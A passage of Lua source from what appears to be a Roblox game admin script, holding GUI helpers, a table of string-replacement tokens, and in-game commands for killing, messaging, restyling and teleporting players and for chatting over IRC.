5113 local Alarm = SOUND:MakeSound(Frame, 131573697, 1, 1)
5114
5115 local CurrentSeconds = AllSeconds
5116 local Alive = true
5117 coroutine.wrap(function() for i = 0,AllSeconds do
5118 if not Alive then break end
5119 local Seconds = tostring(math.fmod(CurrentSeconds,60))
5120 local Minutes = tostring(math.floor(CurrentSeconds/60))
5121 if #Seconds == 1 then Seconds = "0"..Seconds end
5122 if #Minutes == 1 then Minutes = "0"..Minutes end
5123 Time.Text = Minutes..":"..Seconds
5124 wait(1)
5125 if CurrentSeconds <= 0 then
5126 Alarm:Play()
5127 Time.Text = "00:00"
5128 Part.Size = UDim2.new(1,0,1,0)
5129 Restore:Invoke()
5130 wait(4)
5131 Close:Invoke()
5132 break
5133 else
5134 Tick:Play()
5135 Part.Size = UDim2.new((AllSeconds - CurrentSeconds)/AllSeconds,0,1,0)
5136 CurrentSeconds = CurrentSeconds - 1
5137 end
5138 end end)()
5139
5140 Closed.Event:connect(function()
5141 if Alive == true then
5142 Alive = false
5143 Tick:Stop()
5144 Alarm:Stop()
5145 end
5146 end)
5147end)() end
5148
5149function GUI:DetachChat(Player)
5150 if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
5151 if Player:FindFirstChild("DetachChatMML") then
5152 Player.DetachChatMML:Invoke(true)
5153 wait()
5154 Player.DetachChatMML:Destroy()
5155 end
5156
5157 local Frame, _, Closed = GUI:CreateForm(Player, "Detached Chat", UDim2.new(0.5, 0, 0.5, 32), nil, 57550259)
5158 local SG = Frame.Parent.Parent.Parent
5159
5160 local DCBF = Instance.new("BindableFunction", Player)
5161 DCBF.Name = "DetachChatMML"
5162 DCBF.OnInvoke = function(Remove)
5163 if Remove then
5164 SG:Destroy()
5165 end
5166 end
5167 CORE:ExecuteResource("CoreChat", SG)
5168
5169 local IsClosed = false
5170 Closed.Event:connect(function()
5171 CORE:ExecuteResource("ResetChat", Player:WaitForChild("Backpack"))
5172 IsClosed = true
5173 end)
5174
5175 coroutine.wrap(function()
5176 Player.CharacterRemoving:wait()
5177 if not IsClosed then
5178 IsClosed = true
5179 wait(1)
5180 CORE:ExecuteResource("ResetChat", Player:WaitForChild("Backpack"))
5181 end
5182 end)()
5183end
5184
5185function GUI:SendChat(Player, Data, Speaker) coroutine.wrap(function()
5186 if not Player then return nil end
5187 if type(Data) ~= "table" then Data = {Text = tostring(Data)} end
5188 Data.Text = STRING:DetermineFilter(Data.Text, Speaker or Player, Player)
5189
5190 Player:WaitForChild("SendChat"):InvokeClient(Player, Data)
5191end)() end
5192
5193function GUI:SoundInfo(Player, SoundID, TitleText, CreatorText, Time, InputSound)
5194 if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
5195 if not SoundID then SoundID = SoundInfo["ID"] end
5196 if not TitleText then TitleText = SoundInfo["Name"] end
5197 if not CreatorText then CreatorText = SoundInfo["Creator"] end
5198 if not InputSound then InputSound = Sound end
5199
5200 local NumSounds = 0
5201 for _,SG in pairs(Player.PlayerGui:GetChildren()) do
5202 if SG.Name == "M".."a".."k".."erModelLu".."a's Admin Form Sound" then
5203 NumSounds = NumSounds + 1
5204 end
5205 end
5206
5207 local Size = UDim2.new(0.1, 100, 0.1, 100)
5208 local Frame, Close, Closed, _, Minimized = GUI:CreateForm(Player, "Playing Sound "..SoundID, Size, UDim2.new(Size.X.Scale * NumSounds, (Size.X.Offset * NumSounds) + (NumSounds * 5), 0.5, -50), "Sound", true, nil, nil, false)
5209 Frame.Parent.Parent.Parent.Name = Frame.Parent.Parent.Parent.Name.." Sound"
5210
5211 local SoundLoudness = Instance.new("Frame", Frame) SoundLoudness.Name = "SoundLoudness" SoundLoudness.Size = UDim2.new(1, 0, 1, 0) SoundLoudness.BackgroundTransparency = 1 SoundLoudness.Visible = false
5212 local BurstFrame = Instance.new("Frame", SoundLoudness) BurstFrame.Name = "BurstFrame" BurstFrame.Size = UDim2.new(1, 0, 1, 0) BurstFrame.BackgroundTransparency = 1
5213 local Spin = Instance.new("Frame", SoundLoudness) Spin.Name = "Spin" Spin.Size = UDim2.new(1, 0, 1, 0) Spin.BackgroundTransparency = 1
5214 local MainPoint = Instance.new("ImageLabel", SoundLoudness) MainPoint.Name = "MainPoint" MainPoint.Position = UDim2.new(0, 0, 0.25, 0) MainPoint.Size = UDim2.new(0.5, 0, 0.5, 0) MainPoint.BackgroundTransparency = 1 MainPoint.Image = "rbxassetid://301292168" MainPoint.SizeConstraint = "RelativeYY"
5215 local Bar = Instance.new("Frame", SoundLoudness) Bar.Name = "Bar" Bar.Position = UDim2.new(0, 0, 0, 0) Bar.Size = UDim2.new(0, 10, 0.3, 0) Bar.BackgroundTransparency = 1 Bar.SizeConstraint = "RelativeYY"
5216 local Fill = Instance.new("Frame", Bar) Fill.Name = "Fill" Fill.Position = UDim2.new(0, 0, 1, 0) Fill.Size = UDim2.new(1, 0, -0.5, 0) Fill.BackgroundColor3 = Color3.new(1, 1, 1) Fill.BorderSizePixel = 0
5217 local Burst = Instance.new("ImageLabel", SoundLoudness) Burst.Name = "Burst" Burst.BackgroundTransparency = 1 Burst.Image = "rbxassetid://142700369" Burst.ImageTransparency = 0.5-- Bar.SizeConstraint = "RelativeYY"
5218
5219 local Title = Instance.new("TextLabel", Frame) Title.FontSize = "Size24" Title.TextWrapped = true Title.Size = UDim2.new(1, 0, 0.8, -35) Title.TextColor3 = Color3.new(1,1,1) Title.TextStrokeColor3 = Color3.new(0,0,0) Title.TextStrokeTransparency = 0 Title.Text = TitleText Title.BackgroundTransparency = 1 Title.Font = Settings.Font Title.Name = "Title"
5220 local Creator = Instance.new("TextLabel", Frame) Creator.FontSize = "Size18" Creator.TextWrapped = true Creator.Size = UDim2.new(1, 0, 0.2, 0) Creator.TextColor3 = Color3.new(1,1,1) Creator.TextStrokeColor3 = Color3.new(0,0,0) Creator.TextStrokeTransparency = 0 Creator.Text = CreatorText Creator.Position = UDim2.new(0, 0, 0.8, -35) Creator.BackgroundTransparency = 1 Creator.Font = Settings.Font Creator.Name = "Creator"
5221 if Sound then
5222 CORE:ExecuteResource("GraphicalSound", SoundLoudness, {["Sound"] = Sound})
5223 end
5224 if Time then
5225 local Timer = Instance.new("TextLabel", Frame) Timer.FontSize = "Size14" Timer.TextWrapped = true Timer.Size = UDim2.new(1, 0, 0, 35) Timer.TextColor3 = GUI:ContrastColor() Timer.Position = UDim2.new(0, 0, 1, -35) Timer.BackgroundTransparency = 1 Timer.Font = Settings.Font Timer.Name = "Timer"
5226 local Stop = Instance.new("ImageButton", Timer) Stop.Image = "rbxassetid://49494354" Stop.Size = UDim2.new(0, 30, 0, 30) Stop.BackgroundTransparency = 1 Stop.Position = UDim2.new(1, -35, 0, 2)
5227
5228 coroutine.wrap(function()
5229 local Alive = true
5230
5231 local function StopTimer() Alive = false end
5232 Closed.Event:connect(StopTimer)
5233 Minimized.Event:connect(StopTimer)
5234 CORE:HandleEvent(Stop, "MouseButton1Down", StopTimer)
5235
5236 for i = Time,0,-1 do
5237 for ii = 1,10 do
5238 if Alive == true then
5239 Timer.Text = i
5240 wait(0.1)
5241 else
5242 break
5243 end
5244 end
5245 end
5246 if Alive == true then
5247 Close:Invoke()
5248 else
5249 Timer:Destroy()
5250 Stop:Destroy()
5251 end
5252 end)()
5253 end
5254end
5255
5256---- STRING REPLACEMENT OPERATIONS ----
5257
5258-- {"_REPLACEMENT", "Replaces input string with ".."string description", RequiresPlayer, function(Player)}
5259
5260-- Like the commands, this table must be placed here in order for the variables in the functions to successfully initalize.
5261
5262StringReplacements = {
5263 {"_SERVERTIME", "total server time in seconds", false, function(Player) return tostring(math.floor(Workspace.DistributedGameTime)) end};
5264 {"_PLACEID", "the current place's ID", false, function(Player) return tostring(game.PlaceId) end};
5265 {"_CREATORID", "the game's creator's user ID", false, function(Player) return tostring(game.CreatorId) end};
5266 {"_CREATOR", "the game's creator's username", false, function(Player) return GameOwner end};
5267 {"_PLACENAME", "the current place's name", false, function(Player) return PlaceName end};
5268 {"_REVPLACENAME", "the current place's name in reverse", false, function(Player) return string.reverse(PlaceName) end};
5269 {"_PLACEDESC", "the current place's description", false, function(Player) return PlaceInfo.Description end};
5270 {"_RANDOM", "a random number from 1-10000", false, function(Player) return tostring(math.random(1,10000)) end};
5271 {"_DATE", "the current date (if Http connected)", false, function(Player) return Date or "Cannot get date. Http not connected" end};
5272 {"_TIME", "the current time", false, function(Player) return CORE:GetTime(true) end};
5273
5274 {{"_SOUNDID", "_SONGID", "_MUSICID"}, "the ID of the sound playing", false, function(Player) return tostring(SoundInfo["ID"]) end};
5275 {{"_SOUNDCREATOR", "_SONGCREATOR", "_MUSICCREATOR"}, "the name of the creator of the sound playing", false, function(Player) return SoundInfo["Creator"] end};
5276 {{"_SOUND", "_SONG", "_MUSIC"}, "the name of the sound playing", false, function(Player) return SoundInfo["Name"] end};
5277 {"_FONT", "the font of the admin", false, function(Player) return Settings.Font end};
5278 {"_COLOR", "the color scheme of the admin", false, function(Player) return Settings.ColorScheme end};
5279 {{"_TRANS", "_TRANSPARENCY"}, "the transparency scheme of the admin", false, function(Player) return tostring(Settings.TransparencyScheme * 100).."%%" end};
5280
5281 {"_USERID", "player's UserID", true, function(Player) return tostring(Player.UserId) end};
5282 {"_NAMELEN", "player's username length", true, function(Player) return tostring(string.len(Player.Name)) end};
5283 {"_REVNAME", "player's username in reverse", true, function(Player) return string.reverse(Player.Name) end};
5284 {"_UPNAME", "player's username in uppercase", true, function(Player) return string.upper(Player.Name) end};
5285 {"_LOWNAME", "player's username in lowercase", true, function(Player) return string.lower(Player.Name) end};
5286 {"_NAME", "player's username", true, function(Player) return Player.Name end};
5287 {"_LEETNAME", "player's username in leetspeak", true, function(Player) return STRING:LeetSpeak(Player.Name) end};
5288 {"_ACCOUNTAGE", "player's account age", true, function(Player) return STRING:FindAge(Player.AccountAge) end};
5289 {"_AGE", "player's account age", true, function(Player) return STRING:FindAge(Player.AccountAge) end};
5290 {{"_BENCHMARK", "_BENCH"}, "player's benchmark score (if available)", true, function(Player) if ClientInfo[Player.Name].Benchmark then return tostring(ClientInfo[Player.Name].Benchmark) else return "[NO BENCHMARK]" end end};
5291 {"_WALKSPEED", "player's WalkSpeed", true, function(Player) if Player.Character and Player.Character:FindFirstChild("Humanoid") then return tostring(Player.Character.Humanoid.WalkSpeed) else return "No humanoid" end end};
5292 {"_HEALTH", "player's health", true, function(Player) if Player.Character and Player.Character:FindFirstChild("Humanoid") then return tostring(Player.Character.Humanoid.Health) else return "No humanoid" end end};
5293 {"_MAXHEALTH", "player's MaxHealth", true, function(Player) if Player.Character and Player.Character:FindFirstChild("Humanoid") then return tostring(Player.Character.Humanoid.MaxHealth) else return "No humanoid" end end};
5294 {"_RANKNUM", "player's rank number", true, function(Player) local PlayerRank,RankNum = RANK:GetRank(Player) return tostring(RankNum) end};
5295 {"_RANK", "player's rank", true, function(Player) local PlayerRank,RankNum = RANK:GetRank(Player) return PlayerRank end};
5296 {{"_POS", "_POSITION"}, "player's position", true, function(Player) if CORE:FindBodyPart(Player, "Torso") then local Pos = CORE:FindBodyPart(Player, "Torso").Position return tostring(CORE:Round(Pos.X)..", "..CORE:Round(Pos.Y)..", "..CORE:Round(Pos.Z)) else return "No torso" end end};
5297}
5298
5299---- COMMANDS ----
5300
5301-- Format: [{"CommandName", "CommandName2", "..."}] = {"Command Example of Args", "Command Description", Arguments, "Minimum Rank", FunCommand, ExecuteFunction(Speaker, Rank, {Arguments})
5302
5303Commands = { -- can't make local
5304 [{"test", "tst"}] = {"", "Prompts a message saying it works. If there's no message it doesn't work", 0, "Member", false, function(Speaker, Rank, Arguments)
5305 print("[MML's Admin]: Test message from "..Speaker.Name)
5306 GUI:SendMessage(Speaker, "Test complete", "MakerModelLua's Admin V"..CORE.Version.Value.." works fine!", "Check")
5307 end};
5308
5309 [{"kill", "die"}] = {"player", "Breaks the player's joints and kills them", 1, "Member", false, function(Speaker, Rank, Arguments)
5310 local Players = STRING:Scan(Arguments[1], Speaker)
5311 for _,Player in pairs(Players) do
5312 if Player.Character then
5313 Player.Character:BreakJoints()
5314 end
5315 end
5316 end};
5317
5318 [{"ff", "forcefield"}] = {"player", "Gives the player a protective forcefield", 1, "Member", false, function(Speaker, Rank, Arguments)
5319 local Players = STRING:Scan(Arguments[1], Speaker)
5320 for _,Player in pairs(Players) do
5321 if Player.Character then
5322 Instance.new("ForceField", Player.Character)
5323 end
5324 end
5325 end};
5326
5327 [{"noff", "unff", "noforcefield", "unforcefield"}] = {"player", "Removes any forcefields on the player", 1, "Member", false, function(Speaker, Rank, Arguments)
5328 local Players = STRING:Scan(Arguments[1], Speaker)
5329 for _,Player in pairs(Players) do
5330 if Player.Character then
5331 for _,Get in pairs(Player.Character:GetChildren()) do
5332 if Get:IsA("ForceField") then
5333 Get:Destroy()
5334 end
5335 end
5336 end
5337 end
5338 end};
5339
5340 [{"m", "msg", "message"}] = {"string", "Sends everyone in a server a message of string", 1, "Member", false, function(Speaker, Rank, Arguments)
5341 for _,Player in pairs(Server.Players:GetPlayers()) do
5342 GUI:SendMessage(Player, "Message from "..Speaker.Name, Arguments[1], "Message", 10, true, Speaker)
5343 end
5344 end};
5345
5346 [{"sm", "smsg", "smessage", "systemm", "systemmsg", "systemmessage"}] = {"string", "Sends everyone in a server a message of string as a system message", 1, "Admin", false, function(Speaker, Rank, Arguments)
5347 for _,Player in pairs(Server.Players:GetPlayers()) do
5348 GUI:SendMessage(Player, "MAK".."ERMODELLU".."A'S ADMIN SYSTEM MESSAGE", Arguments[1], 132769569, nil, false, Speaker)
5349 end
5350 end};
5351
5352 [{"pm", "personalmessage", "personalmsg", "personalm", "pmessage", "pmsg"}] = {"player string", "Sends the particular player a message of string", 2, "Member", false, function(Speaker, Rank, Arguments)
5353 local Players = STRING:Scan(Arguments[1], Speaker)
5354 for _,Player in pairs(Players) do
5355 GUI:SendMessage(Player, "Message from "..Speaker.Name, Arguments[2], "Message", 20, false, Speaker)
5356 end
5357 end};
5358
5359 [{"cm", "chatmessage", "chatmsg"}] = {"string", "Sends everyone in a server a chatted message of string", 1, "Admin", false, function(Speaker, Rank, Arguments)
5360 for _,Player in pairs(Server.Players:GetPlayers()) do
5361 GUI:SendChat(Player, {Text = "[ MML'S ADMIN ]: "..Speaker.Name..": "..Arguments[1], FontSize = Enum.FontSize.Size24}, Speaker)
5362 end
5363 end};
5364
5365 [{"pcm", "pchatmessage", "pchatmsg", "personalcm", "personalchatmessage", "personalchatmsg"}] = {"player string", "Sends player the chatted message of string", 2, "Admin", false, function(Speaker, Rank, Arguments)
5366 local Players = STRING:Scan(Arguments[1], Speaker)
5367 for _,Player in pairs(Players) do
5368 GUI:SendChat(Player, {Text = "[ MML'S ADMIN ]: "..Speaker.Name..": "..Arguments[2], FontSize = Enum.FontSize.Size24}, Speaker)
5369 end
5370 end};
5371
5372 [{"age", "getage"}] = {"player", "Shows the age of player", 1, "Member", false, function(Speaker, Rank, Arguments)
5373 local Players = STRING:Scan(Arguments[1], Speaker)
5374 local AgeList = {}
5375 for _,Player in pairs(Players) do
5376 table.insert(AgeList, Player.Name..": "..STRING:FindAge(Player.AccountAge))
5377 end
5378 GUI:ListGui(Speaker, "Player Ages", AgeList, "Time")
5379 end};
5380
5381 [{"showage", "sendage"}] = {"player players", "Shows the age of player to players", 2, "Member", false, function(Speaker, Rank, Arguments)
5382 local Players = STRING:Scan(Arguments[1], Speaker)
5383 local AgeList = {}
5384 for _,Player in pairs(Players) do
5385 table.insert(AgeList, Player.Name..": "..STRING:FindAge(Player.AccountAge))
5386 end
5387 local SecondPlayers = STRING:Scan(Arguments[2], Speaker)
5388 for _,Player in pairs(SecondPlayers) do
5389 GUI:ListGui(Player, "Player Ages", AgeList, "Time")
5390 end
5391 end};
5392
5393 [{"commands", "cmds", "commandlist", "cmdlist"}] = {"", "Shows a list of all the commands", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
5394 local Storage = {{}, {}, {}, {}}
5395 local StorageText = {}
5396 local Formatted = {}
5397 for CommandNames,Data in pairs(Commands) do
5398 if not Data.Hidden then
5399 local RankNeeded = RANK:ConvertRank(Data[4])
5400 local Add = ""
5401 if Data[4] == "Non-Admin" then Add = "BLACK " end
5402 if Data[4] == "Admin" then Add = "CYAN " end
5403 if Data[4] == "Member" then Add = "BLUE " end
5404 if Data[4] == "Owner" then Add = "BROWN " end
5405 if RankNeeded > RANK:ConvertRank(Rank) then Add = "RED " end
5406 local AddBet = Settings.Bet
5407 if Data[3] <= 0 then AddBet = "" end -- for commands with no args
5408 local Text = Settings.Prefix..CommandNames[1]..AddBet..Data[1].." [ "..Data[4].." ]"
5409 table.insert(Storage[RankNeeded + 1], Add..Text)
5410 StorageText[Text] = CommandNames
5411 end
5412 end
5413 for Num,_ in pairs(Storage) do
5414 table.sort(Storage[Num])
5415 end
5416 for _,Table in pairs(Storage) do
5417 for _,Command in pairs(Table) do
5418 table.insert(Formatted, Command)
5419 end
5420 end
5421 local Clicked,Dialog = GUI:ListGui(Speaker, "Command List", Formatted, 98616974, true)
5422 Clicked.Event:connect(function(Text)
5423 GUI:ShowCommand(Speaker, StorageText[Text], Dialog)
5424 end)
5425 end};
5426
5427 [{"getcommand", "getinfo", "getcmd", "commandinfo", "cmdinfo", "commanddetails", "cmddetails"}] = {"string", "Gets information on the command string", 1, "Non-Admin", false, function(Speaker, Rank, Arguments)
5428 GUI:ShowCommand(Speaker, string.lower(Arguments[1]))
5429 end};
5430
5431 [{"color", "cs", "colorscheme", "colortheme", "ct", "cscheme"}] = {"string(color)", "Changes the color scheme to Color", 1, "Owner", false, function(Speaker, Rank, Arguments)
5432 if GUI:GetColor(Arguments[1]) then
5433 local ColorScheme = string.upper(Arguments[1])
5434 if ColorScheme == "RANDOM" then Colors.RANDOM = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255) end
5435 Settings.ColorScheme = ColorScheme
5436 GUI:SendMessage(Speaker, "Color Scheme Changed", "Color scheme has been changed to "..string.lower(Arguments[1]).." successfully", "Check")
5437 else
5438 GUI:SendMessage(Speaker, "Color Scheme Change Fail", "Color scheme cannot be changed to "..string.lower(Arguments[1]).." because it is not a valid color", "Error")
5439 end
5440 end};
5441
5442 [{"colors", "colorlist", "listcolors", "colorschemes", "colorthemes", "cschemes"}] = {"", "Shows all the colors in the color list", 0, "Member", false, function(Speaker, Rank, Arguments)
5443 local List = {}
5444 for Color,_ in pairs(Colors) do
5445 table.insert(List, Color.." "..Color)
5446 end
5447 GUI:ListGui(Speaker, "Color Schemes", List, 31320560)
5448 end};
5449
5450 [{"trans", "transparency", "transscheme", "transparencyscheme", "tscheme"}] = {"number", "Changes the transparency scheme to number", 1, "Owner", false, function(Speaker, Rank, Arguments)
5451 local Transparency = tonumber(Arguments[1])
5452 if Transparency then
5453 if Transparency > 90 then Transparency = 90 end
5454 if Transparency < 10 then Transparency = 10 end
5455 Settings.TransparencyScheme = Transparency/100
5456
5457 GUI:SendMessage(Speaker, "Transparency Scheme Change", "Transparency scheme has been changed to "..Transparency.."% successfully", "Check")
5458 else
5459 GUI:SendMessage(Speaker, "Transparency Scheme Change Fail", "Transparency scheme cannot be changed to "..Arguments[1].."% because it is not a number", "Error")
5460 end
5461 end};
5462
5463 [{"font", "fontscheme", "fscheme"}] = {"string", "Changes the font of the admin.", 1, "Owner", false, function(Speaker, Rank, Arguments)
5464 if Fonts[Arguments[1]] then
5465 Settings.Font = Arguments[1]
5466 GUI:SendMessage(Speaker, "Font Change", "Font has been changed to "..Arguments[1].." successfully", "Check")
5467 end
5468 end};
5469
5470 [{"fun", "togglefun"}] = {"", "Toggles if fun commands can be executed or not from members", 0, "Owner", false, function(Speaker, Rank, Arguments)
5471 Settings.Fun = not Settings.Fun
5472 GUI:MessageAdmins("Fun Commands", "Fun commands can be executed: "..STRING:StringToBool(Settings.Fun))
5473 end};
5474
5475 [{"abuse", "abusive", "abusable", "toggleabuse", "toggleabusable"}] = {"", "Toggles if abusable commands can be executed or not from members", 0, "Owner", false, function(Speaker, Rank, Arguments)
5476 Settings.DisableAbuse = not Settings.DisableAbuse
5477 GUI:MessageAdmins("Abusable Commands", "Abusable commands can be executed from members now: "..(not STRING:StringToBool(Settings.DisableAbuse)))
5478 end};
5479
5480 [{"fontlist", "fonts", "getfont", "getfonts"}] = {"", "Shows all fonts available", 0, "Member", false, function(Speaker, Rank, Arguments)
5481 local List = {}
5482 for Font,_ in pairs(Fonts) do
5483 if Font == Settings.Font then
5484 table.insert(List, Font.." "..Font.." (CURRENT FONT)")
5485 else
5486 table.insert(List, Font.." "..Font)
5487 end
5488 end
5489 GUI:ListGui(Speaker, "Font list", List, 44453197)
5490 end};
5491
5492 [{"exesound", "executesound"}] = {"ID", "Changes the sound ID of when a command is execute(0 for no sound)", 1, "Owner", false, function(Speaker, Rank, Arguments)
5493 local SoundID = tonumber(Arguments[1])
5494 if SoundID then
5495 Settings.ExecuteNotificationSound = SoundID
5496
5497 GUI:SendMessage(Speaker, "Execute sound success", "Sound execution notification sound has been changed to "..SoundID.." successfully", "Check")
5498 else
5499 GUI:SendMessage(Speaker, "Execute sound Fail", "Sound execution notification sound cannot be changed to "..Arguments[1].." because it is not a number", "Error")
5500 end
5501 end};
5502
5503 [{"noexesound", "noexecutesound", "unexesound", "unexecutesound"}] = {"", "Changes the sound ID of when a command is executed to 0(So it doesn't play)", 0, "Owner", false, function(Speaker, Rank, Arguments)
5504 Settings.ExecuteNotificationSound = 0
5505 end};
5506
5507 [{"char", "character"}] = {"player string/num(ID)", "Changes player's character appearance to look like the character with the id ID or string.", 2, "Member", false, function(Speaker, Rank, Arguments)
5508 local Players = STRING:Scan(Arguments[1], Speaker)
5509 for _,Player in pairs(Players) do
5510 CORE:ChangeCharacter(Player, Arguments[2], false, Speaker)
5511 end
5512 end};
5513
5514 [{"rich", "merely"}] = {"player", "Changes player's character appearance to look like Merely", 1, "Member", false, function(Speaker, Rank, Arguments)
5515 local Players = STRING:Scan(Arguments[1], Speaker)
5516 for _,Player in pairs(Players) do
5517 CORE:ChangeCharacter(Player, 13416513, false, Speaker)
5518 end
5519 end};
5520
5521 [{"makerm".."odellua", "luamodelma".."ker", "mml", "lmm"}] = {"player", "Changes player's character appearance to look like MakerMo".."delLua", 1, "Member", false, function(Speaker, Rank, Arguments)
5522 local Players = STRING:Scan(Arguments[1], Speaker)
5523 for _,Player in pairs(Players) do
5524 coroutine.wrap(function()
5525 CORE:ChangeCharacter(Player, 38837082, false, Speaker)
5526 wait(1)
5527 GUI:SendMessage(Player, "Wow!", "You're looking cool!", "Admin", 7)
5528 end)()
5529 end
5530 end, Hidden = true};
5531
5532 [{"become", "bcome"}] = {"player string/num(ID)", "Changes player's character appearance to look like the character with the id ID or string and also name you.", 2, "Member", false, function(Speaker, Rank, Arguments)
5533 local Players = STRING:Scan(Arguments[1], Speaker)
5534 for _,Player in pairs(Players) do
5535 CORE:ChangeCharacter(Player, Arguments[2], false, Speaker, true)
5536 end
5537 end};
5538
5539 [{"name", "rename"}] = {"player name", "Changes player's character name", 2, "Member", false, function(Speaker, Rank, Arguments)
5540 local Players = STRING:Scan(Arguments[1], Speaker)
5541 for _,Player in pairs(Players) do
5542 CORE:ChangeName(Player, Arguments[2])
5543 end
5544 end};
5545
5546 [{"noname", "unname"}] = {"player", "Removes player's names from the 'name' command", 1, "Member", false, function(Speaker, Rank, Arguments)
5547 local Players = STRING:Scan(Arguments[1], Speaker)
5548 for _,Player in pairs(Players) do
5549 if Player.Character then
5550 local Head = Player.Character:FindFirstChild("Label")
5551 if Head then Head:Destroy() end
5552 local Head = Player.Character:FindFirstChild("Head")
5553 if Head then Head.Transparency = 0 if Head:FindFirstChild("Face") then Head.face.Transparency = 0 end end
5554 end
5555 end
5556 end};
5557
5558 [{"ogre", "shrek"}] = {"player", "Changes the player into shrek", 1, "Member", true, function(Speaker, Rank, Arguments)
5559 local Players = STRING:Scan(Arguments[1], Speaker)
5560 for _,Player in pairs(Players) do
5561 CORE:ChangeCharacter(Player, 11397, false, Speaker)
5562 end
5563 end};
5564
5565 [{"forcetp", "forcetp", "forceplace"}] = {"player num(ID)", "Forces a player to teleport to the place with the id of ID", 2, "Owner", false, function(Speaker, Rank, Arguments)
5566 local Players = STRING:Scan(Arguments[1], Speaker)
5567 for _,Player in pairs(Players) do
5568 local _,RankNum = RANK:GetRank(Player)
5569 if RankNum <= RANK:ConvertRank(Rank) then
5570 Server.TS:Teleport(Arguments[2], Player)
5571 end
5572 end
5573 end};
5574
5575 [{"forcefollow"}] = {"player num(UserID)", "Forces a player to teleport to the place num(UserID) is at(Only works in universes at this time)", 2, "Owner", false, function(Speaker, Rank, Arguments)
5576 local Players = STRING:Scan(Arguments[1], Speaker)
5577 local Suc, Err, PlaceID, IntID = Server.TS:GetPlayerPlaceInstanceAsync(tonumber(Arguments[2]))
5578 if Suc then
5579 for _,Player in pairs(Players) do
5580 Server.TS:TeleportToPlaceInstance(PlaceID, IntID, Player)
5581 end
5582 else
5583 GUI:SendMessage(Speaker, "Place Teleportation Failed for UserID: "..Arguments[2], "Cannot follow UserID: "..Arguments[2]..". Reason: "..Err, 5)
5584 end
5585 end};
5586
5587 [{"follow"}] = {"player num(UserID)", "Prompts a player to teleport to the place num(UserID) is at(Only works in universes at this time)", 2, "Owner", false, function(Speaker, Rank, Arguments)
5588 local Players = STRING:Scan(Arguments[1], Speaker)
5589 MARKET:PromptPurchase(Player, Arguments[2], Speaker, function()
5590 local Suc, Err, PlaceID, IntID = Server.TS:GetPlayerPlaceInstanceAsync(tonumber(Arguments[2]))
5591 if Suc then
5592 for _,Player in pairs(Players) do
5593 Server.TS:TeleportToPlaceInstance(PlaceID, IntID, Player)
5594 end
5595 else
5596 GUI:SendMessage(Speaker, "Place Teleportation Failed for UserID: "..Arguments[2], "Cannot follow UserID: "..Arguments[2]..". Reason: "..Err, 5)
5597 end
5598 end)
5599 end};
5600
5601 [{"accelerate", "accel", "acl"}] = {"player", "Accelerates them across roblox", 1, "Admin", true, function(Speaker, Rank, Arguments)
5602 local Players = STRING:Scan(Arguments[1], Speaker)
5603 for _,Player in pairs(Players) do
5604 local _,RankNum = RANK:GetRank(Player)
5605 if RankNum < RANK:ConvertRank(Rank) then
5606 Server.TS:Teleport(155307015, Player)
5607 end
5608 end
5609 end};
5610
5611 [{"rickroll", "rickastly"}] = {"player", "Rick rolls them to the movies", 1, "Admin", true, function(Speaker, Rank, Arguments)
5612 local Players = STRING:Scan(Arguments[1], Speaker)
5613 for _,Player in pairs(Players) do
5614 local _,RankNum = RANK:GetRank(Player)
5615 if RankNum < RANK:ConvertRank(Rank) then
5616 Server.TS:Teleport(347911447, Player)
5617 end
5618 end
5619 end};
5620
5621 [{"shield"}] = {"player", "Creates a protective shield around the player", 1, "Admin", false, function(Speaker, Rank, Arguments)
5622 local Players = STRING:Scan(Arguments[1], Speaker)
5623 for _,Player in pairs(Players) do
5624 CORE:GenerateShield(Player)
5625 end
5626 end};
5627
5628 [{"noshield", "unshield", "deshield"}] = {"player", "Removes any protective shield around the player", 1, "Admin", false, function(Speaker, Rank, Arguments)
5629 local Players = STRING:Scan(Arguments[1], Speaker)
5630 for _,Player in pairs(Players) do
5631 if Player.Character then
5632 local Shield = Player.Character:FindFirstChild("Shield")
5633 if Shield then Shield:Destroy() end
5634 end
5635 end
5636 end};
5637
5638 [{"chance", "possibility", "random"}] = {"num", "Will randomly see if a 1/num chance worked out or not", 1, "Member", false, function(Speaker, Rank, Arguments)
5639 local Num = tonumber(Arguments[1])
5640 if Num and Num ~= 0 then
5641 local Random = math.random(1,math.abs(Num))
5642 if Random == math.random(1,math.abs(Num)) then
5643 GUI:SendMessage(Speaker, "Chance Success!", "Out of a 1/"..Num.." chance this message has shown up!", "Check")
5644 else
5645 GUI:SendMessage(Speaker, "Chance Failed.", "In the 1/"..Num.." chance given, there was no success", "Notice")
5646 end
5647 else
5648 GUI:SendMessage(Speaker, "Chance Error", Arguments[1].." is not a valid number", "Error")
5649 end
5650 end};
5651
5652 [{"ircchat"}] = {"string", "Will chat on the connect IRC your message", 1, "Owner", false, function(Speaker, Rank, Arguments)
5653 IRC:Send("PRIVMSG "..Settings.IRCChannel.." :"..Speaker.Name..": "..Arguments[1])
5654 IRC:AddChat(Speaker.Name, Arguments[1])
5655 end};
5656
5657 --[[
5658 [{"newserver", "makeserver"}] = {"", "Opens new server on the current game", 0, "Owner", false, function(Speaker, Rank, Arguments)
5659 local Res = REMOTE:GetURL(CORE.Domain.."/APIs/JoinGame.php?GameID="..game.PlaceId)
5660 if Res then
5661 GUI:SendMessage(Speaker, "Server created", "Server has been created", "Check")
5662 end
5663 end, Http = true};
5664
5665 [{"remotenewserver", "remotemakeserver", "rns"}] = {"number(ID)", "Opens new server on the ID of the game", 1, "Owner", false, function(Speaker, Rank, Arguments)
5666 local Res = REMOTE:GetURL(CORE.Domain.."/APIs/JoinGame.php?GameID="..Arguments[1])
5667 if Res then
5668 GUI:SendMessage(Speaker, "Server created", "Server has been created on game: "..Arguments[1], "Check")
5669 end
5670 end}, Http = true;
5671 ]]
5672
5673 [{"ircreconnect", "ircr"}] = {"", "Reconnects IRC", 0, "Owner", false, function(Speaker, Rank, Arguments)
5674 IRC:Quit("Reconnecting")
5675 IRC:ConnectToServer(Settings.IRCServer)
5676 end};
5677
5678 [{"irc", "ircgui"}] = {"player", "Will prompt irc chat on player", 1, "Member", false, function(Speaker, Rank, Arguments)
5679 local Players = STRING:Scan(Arguments[1], Speaker)
5680 for _,Player in pairs(Players) do
5681 local PreAdd = {}
5682 for _,Data in pairs(IRC.Chats) do
5683 local Error = nil
5684 if Rank == "Owner" then Error = Data[3] end
